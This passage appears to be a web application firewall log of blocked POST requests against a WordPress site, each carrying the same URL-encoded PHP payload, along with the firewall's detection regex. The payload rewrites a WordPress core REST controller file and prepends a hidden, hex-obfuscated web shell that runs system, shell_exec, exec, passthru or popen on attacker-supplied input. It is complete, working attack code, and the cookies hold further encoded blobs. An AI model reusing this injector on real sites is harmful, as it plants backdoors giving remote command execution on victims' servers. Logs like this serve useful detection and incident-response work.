Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6579\n\noA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:59:41","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHR0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6579\n\nPM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:00:10","41.76.213.235","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252763%2527.%2524dchunk6.%2524dchunk15.%252773%2527.%252765%2527%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252763%2527.%25276f%2527.%25276e%2527.%2524dchunk16.%2524dchunk17.%2524dchunk13.%25275f%2527.%2524dchunk4.%2524dchunk11.%2524dchunk14.%252761%2527.%252767%2527.%2524dchunk5.%2524dchunk18%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524request_approved1%2529%2529%257B%2524request_approved1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved2%2529%2529%257Bprint%2520%2524request_approved2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved3%2529%2529%257B%2524request_approved3%2528%2524config_manager%252C%2524reference_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524reference_flag%2529%253B%257Delseif%2528function_exists%2528%2524request_approved4%2529%2529%257B%2524request_approved4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524request_approved5%2529%2526%2526function_exists%2528%2524request_approved6%2529%2526%2526function_exists%2528%2524request_approved7%2529%2529%257B%2524res_sym%253D%2524request_approved5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524res_sym%2529%257B%2524binding_elem%253D%2524request_approved6%2528%2524res_sym%2529%253B%2524request_approved7%2528%2524res_sym%2529%253Bprint%2520%2524binding_elem%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJztvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6579\n\nZh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-statuses-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dchunk1%2520%253D%2520%252779%2527%253B%2524dchunk2%2520%253D%2520%252773%2527%253B%2524dchunk3%2520%253D%2520%252774%2527%253B%2524dchunk4%2520%253D%2520%25276d%2527%253B%2524dchunk5%2520%253D%2520%252765%2527%253B%2524dchunk6%2520%253D%2520%25276c%2527%253B%2524dchunk7%2520%253D%2520%252778%2527%253B%2524dchunk8%2520%253D%2520%252763%2527%253B%2524dchunk9%2520%253D%2520%252770%2527%253B%2524dchunk10%2520%253D%2520%252775%2527%253B%2524dchunk11%2520%253D%2520%252761%2527%253B%2524dchunk12%2520%253D%2520%25275f%2527%253B%2524dchunk13%2520%253D%2520%252767%2527%253B%2524dchunk14%2520%253D%2520%25276e%2527%253B%2524dchunk15%2520%253D%2520%25276f%2527%253B%2524dchunk16%2520%253D%2520%252766%2527%253B%2524dchunk17%2520%253D%2520%252769%2527%253B%2524dchunk18%2520%253D%2520%252772%2527%253B%2524request_approved1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524dchunk1.%2524dchunk2.%2524dchunk3.%252765%2527.%2524dchunk4%2529%253B%2524request_approved2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252768%2527.%2524dchunk5.%25276c%2527.%2524dchunk6.%25275f%2527.%2524dchunk5.%2524dchunk7.%2524dchunk5.%2524dchunk8%2529%253B%2524request_approved3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk5.%2524dchunk7.%252765%2527.%252763%2527%2529%253B%2524request_approved4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk9.%252761%2527.%2524dchunk2.%252773%2527.%252774%2527.%252768%2527.%252772%2527.%2524dchunk10%2529%253B%2524request_approved5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524dchunk9.%2524dchunk5.%25276e%2527%2529%253B%2524request_approved6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dchunk2.%252774%2527.%252772%2527.%252765%2527.%2524dchunk11.%2524dchunk4.%2524dchunk12.%2524dchunk13.%2524dchunk5.%2524dchunk3.%2524dchunk12.%252763%2527.%25276f%2527.%2524dchunk14.%2524dchunk3.%252765%2527.%2524dchunk14.%252774%2527.%2524dchunk2%2529%253B%2524request_approved7%25